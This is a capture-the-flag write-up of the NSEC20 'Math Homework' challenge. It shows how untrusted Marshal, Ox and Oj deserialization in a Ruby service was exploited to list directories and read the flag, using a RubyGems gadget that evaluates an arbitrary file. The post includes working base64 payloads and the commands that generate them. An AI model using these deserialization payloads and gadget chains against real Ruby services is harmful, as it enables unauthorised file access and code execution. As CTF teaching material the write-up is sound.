Hubert Hackin''
  • All posts
  • About
  • Our CTF

NSEC20 Math Homework - Fri, May 22, 2020 - Jean Privat

| Ruby | Nsec20

Math-homework

A netcat-based server asks math questions.

The source-code is available, option 1. We can save (option 4) and load (option 3) the states of the math exercises (to continue the homework later I assume).

Exercice 1

If we solve the exercise, we have the flag

  def score
    correct = @storage.select(&:success).size

    puts "Score: #{correct} / #{@storage.size}"

    if correct == @storage.size
      puts File.read('flag')
    end
  end

But the code of the exercise is buggy and cannot be solved with pure math skills.

The import part is interesting

  def import
    puts "Enter your exported blob:"

    @storage = Marshal.load(Base64.strict_decode64(gets.strip))
  end

So we only have to determine a value of @storage that gives the flag and encode it. The empty list does the job.

$ ruby -e 'require "base64"; puts Base64.strict_encode64(Marshal.dump([]))'
BAhbAA==

But this crash on a division by 0

    question = @storage[@index % @storage.size]

OK, need at least an easy question then, like « 0x² + 0x + x = 0 »

$ ruby -e 'require "base64"; class Question; def initialize; @a=@b=@c=0 end; end; puts Base64.strict_encode64(Marshal.dump([Question.new]))'
BAhbBm86DVF1ZXN0aW9uCDoHQGNpADoHQGJpADoHQGFpAA==
  1. import it
  2. next question
  3. solve it (any number works)
  4. profit

Exercice 2

This time, we can solve the exercise but there is no part in the code that give some flag. Could it be in the filesystem, like in the first exercise? We need to find a way to somewhat control the execution.

This part of the code is interesting

  def answer
    @answer ||= a.public_send(operator, b)
  end

So, if we control a, operator and b we can execute some arbitrary method. The limitation is that the method should be public and that we can only use a single argument. The result of the method is stored in @answer and can be extracted with save (option 4).

private in ruby means the receiver must be self (or implicit). Unfortunately, most great methods like Kernel::system or Kernel::eval are private, so we cannot execute them directly with public_send.

What is public and useful then? Maybe Dir::children to check what there is in the file system.

$ ruby -e 'require "base64"; require "ox"; class Operation; def initialize; @a=Dir; @operator="children"; @b="."; end; end; puts Base64.strict_encode64(Ox.dump([Operation.new]))'
PGE+CiAgPG8gYz0iT3BlcmF0aW9uIj4KICAgIDxjIGE9IkBhIiBjPSJEaXIiLz4KICAgIDxzIGE9IkBvcGVyYXRvciI+Y2hpbGRyZW48L3M+CiAgICA8cyBhPSJAYiI+Ljwvcz4KICA8L28+CjwvYT4K

(in fact, one could just craft the XML)

  1. import it
  2. next question
  3. enter anything (and fail)
  4. save
  5. decode the base64: There is a flag file in the directory!

Second attempt, get the content of the flag file. We use File::read

$ ruby -e 'require "base64"; require "ox"; class Operation; def initialize; @a=File; @operator="read"; @b="flag"; end; end; puts Base64.strict_encode64(Ox.dump([Operation.new]))'
PGE+CiAgPG8gYz0iT3BlcmF0aW9uIj4KICAgIDxjIGE9IkBhIiBjPSJGaWxlIi8+CiAgICA8cyBhPSJAb3BlcmF0b3IiPnJlYWQ8L3M+CiAgICA8cyBhPSJAYiI+ZmxhZzwvcz4KICA8L28+CjwvYT4K

Run the same sequence and get the flag!

Exercice 3

Basically the same thing except that the interesting part of the code is now

  def answer
    @answer ||= @array.send(@type)
  end

We can execute private methods now, but there is no argument. This forbids great methods like Kernel::eval, Kernel::system, Dir.children, File::read, etc. We combed through Ruby core, base64, oj and the main code but found not a single useful gadget. Most interesting methods without parameters needed receivers like lambdas, open files or bytecode that are weird objects and aren’t serializable.

And the competition ended. And we were sad and tired. Later @becojo, the challenge designer, gave a hint to the participants « use Gem ». Dafuck ?

Ruby Gem is a package used to interact with ruby packages. It is not a part of ruby core but is imported by default in the interpreter environment. And Gem is full of nice gadgets.

Now, rewind a little and continue with a way to find the knowledge even if one is not a Ruby specialist. The following is therefore an alternate reality, a better one in fact.


We combed through Ruby Core, base64, oj and the main code but found not a single useful gadget. Most interesting methods without parameter needed receivers like lambdas, open files or bytecode that are weird objects and aren’t serializable. But we found Module::constants that gives the list of all constants (mainly classes and modules) this could be used to look for more gadgets in the environment.

Instead of trying locally, lets just try on the server !

$ ruby -e 'require "base64"; require "oj"; class Question; def initialize; @type="constants"; @array=Module; end; end; puts Base64.strict_encode64(Oj.dump([Question.new]))'
W3siXm8iOiJRdWVzdGlvbiIsInR5cGUiOiJjb25zdGFudHMiLCJhcnJheSI6eyJeYyI6Ik1vZHVsZSJ9fV0=

(in fact, one could just craft the Json)

  1. load it
  2. next question
  3. enter anything (and fail)
  4. save
  5. decode the base64: There is the answer

[:SystemExit, :IO, :SignalException, :Interrupt, :StandardError, :TypeError, :ArgumentError, :IndexError, :KeyError, :Process, :RangeError, :ScriptError, :SyntaxError, :LoadError, :Date, :NotImplementedError, :NameError, :NoMethodError, :RuntimeError, :FrozenError, :SecurityError, :String, :NoMemoryError, :EncodingError, :NilClass, :SystemCallError, :Float, :NIL, :Errno, :Warning, :NoMatchingPatternError, :Random, :Array, :Hash, :Integer, :Signal, :Proc, :RbConfig, :LocalJumpError, :SystemStackError, :Method, :Data, :TrueClass, :TRUE, :FalseClass, :FALSE, :Encoding, :UnboundMethod, :UncaughtThrowError, :STDIN, :STDOUT, :STDERR, :Binding, :SimpleDelegator, :Math, :Delegator, :ARGF, :Comparable, :Enumerable, :FileTest, :File, :ZeroDivisionError, :FloatDomainError, :Numeric, :StringIO, :Enumerator, :Question, :Fiber, :FiberError, :Module3, :Rational, :ENV, :Fixnum, :Struct, :RegexpError, :Complex, :Oj, :Base64, :Regexp, :StopIteration, :Bignum, :BigDecimal, :RUBY_VERSION, :RubyVM, :RUBY_RELEASE_DATE, :RUBY_PLATFORM, :RUBY_PATCHLEVEL, :RUBY_REVISION, :MatchData, :Thread, :RUBY_COPYRIGHT, :RUBY_ENGINE, :RUBY_ENGINE_VERSION, :GC, :TOPLEVEL_BINDING, :ObjectSpace, :BigMath, :Gem, :DidYouMean, :TracePoint, :Dir, :OpenStruct, :ThreadGroup, :ThreadError, :Mutex, :DateTime, :Marshal, :Monitor, :Queue, :ClosedQueueError, :CROSS_COMPILING, :SizedQueue, :UnicodeNormalize, :ConditionVariable, :Range, :BasicObject, :Object, :Module, :Class, :EOFError, :Kernel, :Symbol, :ARGV, :Exception, :RUBY_DESCRIPTION, :Time, :IOError, :MonitorMixin]

Is there something useful? Eh, what is Gem? Ruby Gem is a package used to interact with ruby packages. It is not a part of ruby core but seems imported by default in the interpreter environment. Who could have guessed that? Could Gem be full of nice gadgets?

$ grep -r system /usr/lib/ruby/2.7.0/rubygems/
[...]

A lot of false positive and eventually nothing useful. There is useful things in ./server.rb and ./util.rb but the code is not loaded by default with Gem :(

$ grep -r eval /usr/lib/ruby/2.7.0/rubygems/
/usr/lib/ruby/2.7.0/rubygems/mock_gem_ui.rb:# retrieval during tests.
/usr/lib/ruby/2.7.0/rubygems/installer.rb:      eval ruby
/usr/lib/ruby/2.7.0/rubygems/installer.rb:    # ruby code that would be eval'ed in #ensure_loadable_spec
/usr/lib/ruby/2.7.0/rubygems/specification.rb:      raise Gem::Exception, "YAML data doesn't evaluate to gem specification"
/usr/lib/ruby/2.7.0/rubygems/specification.rb:      _spec = eval code, binding, file
/usr/lib/ruby/2.7.0/rubygems/specification.rb:  eval <<-RB, binding, __FILE__, __LINE__ + 1
/usr/lib/ruby/2.7.0/rubygems/specification.rb:  # be eval'ed and reconstruct the same specification later.  Attributes that
/usr/lib/ruby/2.7.0/rubygems/request_set/gem_dependency_api.rb:    instance_eval File.read(@path).tap(&Gem::UNTAINT), @path, 1
/usr/lib/ruby/2.7.0/rubygems/basic_specification.rb:  # about the gem from a stub line, without having to evaluate the
/usr/lib/ruby/2.7.0/rubygems/deprecate.rb:    class_eval do
/usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:# us having to eval the entire gemspec in order to find out certain
/usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:  # The full Gem::Specification for this gem, loaded from evalling its gemspec

This one seems nice

class Gem::RequestSet::GemDependencyAPI
[...]
  def load
    instance_eval File.read(@path).tap(&Gem::UNTAINT), @path, 1
    self
  end
[...]
  • BasicObject::instance_eval execute code with self bonded to the receiver.
  • File.read(@path) read the file of a path we can control.
  • But the result of the evaluation is not returned.

So, we cannot execute exactly whatever we want, but we can execute any existing file. Which file?

  • Could we try to use exercise 2 to write a file somehow in /tmp then execute it in exercise 3 ?
  • Or we could load some other library to have more gadgets.

During our search for gadgets, we found the package pathname that could enable a nice x=Pathname.new("flag"); x.read.

Note. we just craft the Json this time:

First, load the package pathname thanks to the Gem gadget.

$ base64 -w0 <<< '[{"^o":"Question","type":"load","array":{"^o":"Gem::RequestSet::GemDependencyAPI","path":"/usr/lib/ruby/2.7.0/pathname.rb"}}]'
W3siXm8iOiJRdWVzdGlvbiIsInR5cGUiOiJsb2FkIiwiYXJyYXkiOnsiXm8iOiJHZW06OlJlcXVlc3RTZXQ6OkdlbURlcGVuZGVuY3lBUEkiLCJwYXRoIjoiL3Vzci9saWIvcnVieS8yLjcuMC9wYXRobmFtZS5yYiJ9fV0K

Second, read the content of the flag with the Pathname::read class method.

$ base64 -w0 <<< '[{"^o":"Question","type":"read","array":{"^o":"Pathname","path":"flag"}}]'
W3siXm8iOiJRdWVzdGlvbiIsInR5cGUiOiJyZWFkIiwiYXJyYXkiOnsiXm8iOiJQYXRobmFtZSIsInBhdGgiOiJmbGFnIn19XQo=

Et voilà!

Back to Home


Hackez la Rue! | © Hubert Hackin'' | 2024-05-27 | theme hugo.386